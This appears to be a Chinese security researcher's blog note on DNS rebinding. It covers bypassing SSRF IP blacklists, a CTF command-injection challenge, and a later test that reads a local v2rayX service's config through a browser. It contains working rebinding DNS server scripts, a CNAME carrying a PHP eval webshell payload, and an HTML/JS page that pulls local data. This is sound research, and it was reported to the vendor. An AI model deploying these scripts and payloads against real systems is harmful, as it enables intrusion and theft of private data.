DNS Rebinding
最后的链接是关于dns rebinding的文章,这里主要做一个笔记:
先盗用ricterz.me的博客一个图
在ssrf的时候,客户修复过之后。再次判断url的时候,逻辑就是上图这个样子。
- 获取请求的地址,如果是域名,通过DNS解析的方式获取真实IP,如果是IP则直接对比是否在指定的IP段内。
- 比如获取了test.loli.club请求地址是10.0.0.1,黑名单是10.0.0.0/8,则拒绝访问
使用DNS Rebinding的会有这样的攻击效果:
- 获取test.loli.club的请求地址不是10.0.0.0/8这个黑名单范围里面
- 放行之后,然后后端请求这个URL的资源。如果TTL足够小,这个时候会又发生一次DNS解析。如果这个URL可控,我们就可以控制这次的解析IP。
DNS返回的数据包存在一个TTL(Time-to-Live),也就是域名解析记录在DNS服务器上的缓存时间。如果两次DNS的请求时间大于TTL,就会重新进行一次DNS解析请求。
所以,第一次发生DNS解析的时候,返回一个不在黑名单的IP地址,第二次服务端URL请求的时候,让服务器返回一次DNS解析,解析到黑名单地址,从而绕过。
根据goychou大神的脚本,测试以下步骤:
- 添加一个A记录,域名是ns.xyz.pw,指向服务器A
- 再添加一个ns记录,域名是rebind.xyz.pw,指向ns.xyz.pw
此时在A服务器上运行脚本:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "A IP"
else:
ip = "127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0,
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
此时,在Linux上面运行:
dig @8.8.8.8 rebind.xyz.pw
返回结果是A主机的IP
再次运行上面的命令:
dig @8.8.8.8 rebind.xyz.pw
返回结果是127.0.0.1
###TIPS
以下是从joychou大神博客来的:
在Linux,默认不会进行DNS缓存,除非运行nscd,dnsmaq等。
另外一个是Ph牛出的与dns有关的题目:
<?php
header('Content-Type: text/plain');
$ip = $_GET['ip']??exit;
duita($ip);
$ip = escapeshellcmd($ip);
$ip = str_replace('\>', '>', $ip);
$ip = str_replace('\<', '<', $ip);
$cmd = sprintf('ping -c 2 %s', $ip);
echo shell_exec($cmd);
function duita($ip)
{
if(strpbrk($ip, "&;`|*?()$\\\x00") !== false) {
exit('WAF');
}
if(stripos($ip, '.php') !== false) {
exit('WAF');
}
}
- 没有过滤
>
"
'
在成对的情况下escapeshellcmd是不会过滤的,所以.p''php
绕过waf
搭建一个dns服务器:
import datetime
import sys
import time
import threading
import traceback
import socketserver
from dnslib import *
TTL = 300
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
qtype = request.q.qtype
qt = QTYPE[qtype]
if qn.startswith('rebind.xyz.pw'):
rdata = CNAME('<?=eval($_POST[1]?>.xyz.pw')
reply.add_answer(RR(rname=qname, rtype=5, rclass=1, ttl=TTL, rdata=rdata))
else:
rdata = A('172.96.210.188')
reply.add_answer(RR(rname=qname, rtype=1, rclass=1, ttl=TTL, rdata=rdata))
print("----Replay:\n", reply)
return reply.pack()
class BaseRequestHandler(socketserver.BaseRequestHandler):
def get_data(self):
raise NotImplementedError
def send_data(self, data):
raise NotImplementedError
def handle(self):
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S:%f')
try:
data = self.get_data()
self.send_data(dns_response(data))
except Exception:
traceback.print_exc(file=sys.stderr)
class TCPRequestHandler(BaseRequestHandler):
def get_data(self):
data = self.request.recv(8192).strip()
sz = int(data[:2].encode('hex'), 16)
if sz < len(data) -2:
raise Exception("Wrong size of TCP Packet")
elif sz > len(data) -2:
raise Exception("Too big TCP Packet")
return data[2:]
def send_data(self, data):
sz = hex(len(data))[2:].zfill(4).decode('hex')
return self.request.sendall(sz + data)
class UDPRequestHandler(BaseRequestHandler):
def get_data(self):
return self.request[0].strip()
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
if __name__ == '__main__':
print("Starting nameserver")
servers = [
socketserver.ThreadingUDPServer(('',53),UDPRequestHandler),
socketserver.ThreadingTCPServer(('', 53),TCPRequestHandler),
]
for s in servers:
thread = threading.Thread(target=s.serve_forever)
thread.daemon = True
thread.start()
print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name))
try:
while 1:
time.sleep(1)
sys.stderr.flush()
sys.stdout.flush()
except KeyboardInterrupt:
pass
finally:
for s in servers:
s.shutdown()
这样:
dig rebind.xyz.pw的时候其中的cname是shell,但是本地ping的时候出现uknow host的错误
dig rebind.xyz.pw
; <<>> DiG 9.8.3-P1 <<>> rebind.xyz.pw
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56051
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;rebind.xyz.pw. IN A
;; ANSWER SECTION:
rebind.xyz.pw. 300 IN CNAME <?=eval\(\$_POST[1]?>.xyz.pw.
;; Query time: 1266 msec
;; SERVER: 202.101.172.35#53(202.101.172.35)
;; WHEN: Wed Dec 6 15:52:56 2017
;; MSG SIZE rcvd: 66
复现失败
======
2019/06/05更新:
这几天上网只能用v2rayX,看到在8070端口起了一个http服务,想起来微信爆出来的可以利用DNS Rebinding获取微信号的内容,看了下本地的服务跟微信插件的类似,甚至用的都是GCDWebServer,开始本地捣鼓一下能不能获取到配置文件。最终测试成功,但是得在页面等1分多钟,因为会有dns解析的缓存。
测试代码搬的: https://0x0d.im/archives/get-visitor-qq-number-through-dns-rebinding.html
<!DCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Rebind Test</title>
</head>
<body>
<script src="http://upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
<script>
function GetUin(){
console.log("Testing");
$.ajax({
url: "http://rebind.xyz.xyz:8070/config.json",
type: "GET",
dataType: "text",
success: function(data){
alert(data);
console.log(data);
}
});
}
setTimeout("GetUin()", 5000);
setTimeout("GetUin()", 7000);
setTimeout("GetUin()", 8000);
setTimeout("GetUin()", 30000);
setTimeout("GetUin()", 60000);
setTimeout("GetUin()", 90000);
</script>
</body>
</html>
坑:
昨天测了大半天,中间只成功了一次,大概是踩狗屎了。
chrome下做的测试,做完清缓存:
- chrome://net-internals/#dns 和 chrome://net-internals/#sockets
- chrome的清理缓存文件,历史纪录什么的
- dscacheutil -flushcache;sudo killall -HUP mDNSResponder
rebind.xyz.xyz的ttl我设置了为2分钟,找了半天没有设置为0的dns解析服务。最后测试成功,撒花,怪不得微信插件那个要等1分多钟,测完给作者提了个bug,貌似是注册这么久第一次给人提bug。
这种本地起web服务的很容易受到攻击,就我查到的有:
- visual studio远程命令执行
- 暴雪的一款游戏什么的
- QQ的获取QQ号码和微信插件获取好友列表